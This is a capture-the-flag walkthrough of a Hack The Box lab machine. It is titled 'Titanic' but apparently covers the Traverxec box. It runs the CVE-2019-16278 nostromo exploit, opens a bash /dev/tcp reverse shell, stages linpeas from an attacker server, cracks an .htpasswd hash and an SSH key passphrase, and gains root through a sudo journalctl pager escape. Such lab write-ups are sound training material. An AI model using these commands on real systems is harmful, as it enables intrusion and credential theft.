General··7 min read

HTB Titanic

1. Recon

/etc/hosts, then the landing page: "TRAVERXEC": a one-page portfolio for David White

HTB Titanic
Hosts Entry
HTB Titanic
The Portfolio Landing Page

Full-port nmap says the attack surface is two ports:

  • 22: OpenSSH 7.9p1 Debian 10+deb10u1
  • 80: nostromo 1.9.6 ← the web server is the product; no nginx or apache in front
HTB Titanic
full-port nmap: 22 + 80 only
HTB Titanic
Detaile scan: nostromo server header + SSH hostkeys

The OpenSSH package string pins the OS to Debian 10 (buster) and nostromo 1.9.6 is the buster-era version. Two facts agreeing on one era.

2. Web recon: a dead end worth confirming

dirsearch (raft-medium-directories) and dirb (common.txt) both come back with the same five static asset dirs: /js, /css, /img, /lib, /icons, and nothing else. The scattered 501 Not Implemented responses are nostromo choking on URL-encoded wordlist entries, not content.

HTB Titanic
dirsearch: static asset dirs only
HTB Titanic
dirb: No hidden app

That emptiness is the finding: there is no web app to attack, so the versioned daemon itself gets the attention. searchsploit territory.

HTB Titanic
the pivot: target the nostromo version

3. Foothold: CVE-2019-16278

A path traversal in nhttpd 1.9.6's request handling escapes the docroot and reaches /bin/sh. The public exploit (CybermonkX) runs the command string directly, no auth:

python3 CVE-2019-16278.py -t 10.129.76.143 -p 80 -c "whoami"
HTB Titanic

The reverse shell needs one wrap: a bare bash -i >& /dev/tcp/... dies inside the exploit's hand-off, but an explicit bash -c '...' gives the line a real shell to parse: penelope catches it on 443 and PTY-upgrades to www-data@traverxec.

HTB Titanic
wrapped payload lands, penelope catches

4. Enumeration: the wall around david

/home holds one user: david. And david's home is sealed. cd succeeds, ls fails:

www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission denied

That asymmetry is the box's first real lesson: www-data has the execute bit but not the read bit. The directory cannot be listed, but any named path inside it is reachable. Park that thought.

HTB Titanic
locked home: cd works, ls does not.

linpeas goes in over wget (no curl on the box):

HTB Titanic
linpeas staged via attacker HTTP server

And linpeas pays immediately. The Htpasswd Files section:

-rw-r----- 1 root bin 41 Oct 25  2019 /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

The web server's own auth store leaks david's credential hash, readable by www-data.

HTB Titanic
linpeas: the .htpasswd leak

5. Cracking: md5crypt vs rockyou

hash-identifier gives one candidate: MD5(Unix): the $1$ prefix.

HTB Titanic
hash-identifier: MD5(Unix)

hashcat auto-detects mode 500.

HTB Titanic
hashcat launch, auto-detect mode 500

Eight and a half minutes later, at 75% through rockyou:

$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/:Nowonly4me
HTB Titanic
Cracked: Nowonly4me

6. The credential that opens nothing, yet

su david + Nowonly4me → Authentication failure.

HTB Titanic
su: authentication failure

ssh david@traverxec.htb + the same password → Permission denied (publickey,password).

HTB Titanic
ssh password auth denied

Not a wrong crack: a wrong assumption. .htpasswd guards nostromo's basic-auth realm, not the OS. The password's consumer has not been found yet; the OS never promised to accept it. This is the recurring discipline of the box: match every recovered secret to its real surface.

7. The config is the map

/var/nostromo/conf/nhttpd.conf answers the question the locked home posed:

# HOMEDIRS [OPTIONAL]
homedirs                /home
homedirs_public         public_www

nostromo serves /home/<user>/public_www at /~<user>/: the config declares the directory the filesystem refused to show. Probe it with the cracked credential:

curl -u david:Nowonly4me http://traverxec.htb/~david/

"Private space. Nothing here. Keep out!" Basic auth accepted. The password's real domain found.

HTB Titanic
the ~david placeholder page

The browser sees a placeholder because index.html hides everything else. The shell does not need an index. The execute-bit lesson from step 4 pays off: a known full path passes straight through the unreadable home:

www-data@traverxec:/var/local$ ls -al /home/david/public_www
drwxr-xr-x 3 david david 4096 Oct 25  2019 .
drwx--x--x 5 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area

And inside protected-file-area: .htaccess (45 B) and backup-ssh-identity-files.tgz (1,915 B, -rw-r--r--).

HTB Titanic
public_www listed by direct path
How to Unzip .tgz File Using the Linux Terminal? - GeeksforGeeks
Your All-in-One Learning Portal: GeeksforGeeks is a comprehensive educational platform that empowers learners across domains-spanning computer science and programming, school education, upskilling, commerce, software tools, competitive exams, and more.
HTB Titanic

The .htaccess protects the web route only. www-data is already on the filesystem. It reads the tar locally:

tar -ztvf backup-ssh-identity-files.tgz     # preview: home/david/.ssh/{authorized_keys,id_rsa,id_rsa.pub}
tar -xzf  backup-ssh-identity-files.tgz
HTB Titanic
archive inspected and extracted

8. The key has its own lock

The extracted id_rsa is old-format PEM and passphrase-encrypted:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

id_rsa.pub and authorized_keys carry the same public key: this is the pair david's box trusts. The key moves to Kali via copy-paste.

SSH Penetration Testing (Port 22)
Learn SSH hacking techniques: brute force attacks, key exploitation, port 22 vulnerabilities, and hardening methods for penetration testers.
HTB Titanic
HTB Titanic
key staged in the editor

First guess dies: Nowonly4me does not unlock the key either.

HTB Titanic
ssh -i: three passphrase failures

So the key gets the hash treatment. ssh2john parses the PEM, john takes rockyou, and it dies in under a second:

$ ssh2john id_rsa > sshhash
$ john -w=/usr/share/wordlists/rockyou.txt sshhash
hunter           (id_rsa)

50,000 g/s, DONE at zero elapsed: hunter was sitting early in the wordlist.

HTB Titanic
john cracks the passphrase instantly
$ chmod 600 id_rsa
$ ssh -i id_rsa david@traverxec.htb     # passphrase: hunter
david@traverxec:~$

Two cracked credentials, two different consumers: Nowonly4me opened the web tier, hunter opened the shell.

HTB Titanic
david shell + home enumeration

David's home confirms the shape of the box: .bash_history symlinked to /dev/null, and ~/bin/server-stats.sh, a script whose last line is the prize:

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

9. Root: the pager, on purpose

Running the script proves the sudo rule works passwordless, and nothing else. Its journalctl line is piped into cat, so journalctl writes to a pipe, never sees a TTY, never opens a pager. The script is a decoy that demonstrates its own escape hatch.

HTB Titanic
script runs, pager skipped

The raw command, unpiped, is the move:

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

One environment fact decides everything now: less opens only when the output does not fit the terminal. -n5 is six lines. In a full-height window it fits: no pager, back to the prompt. No command needed to fix this: drag the terminal window up until it's ~5 rows tall and run it again. The output no longer fits, less opens (: at the bottom), and inside the pager:

!sh

less executes the escape, as root, because journalctl is the sudo'd process. Root shell. (The scripted equivalent, stty rows 5 before the command, stays in the notes as a fallback, never needed.).

May The Pentest Be With You !

Related Posts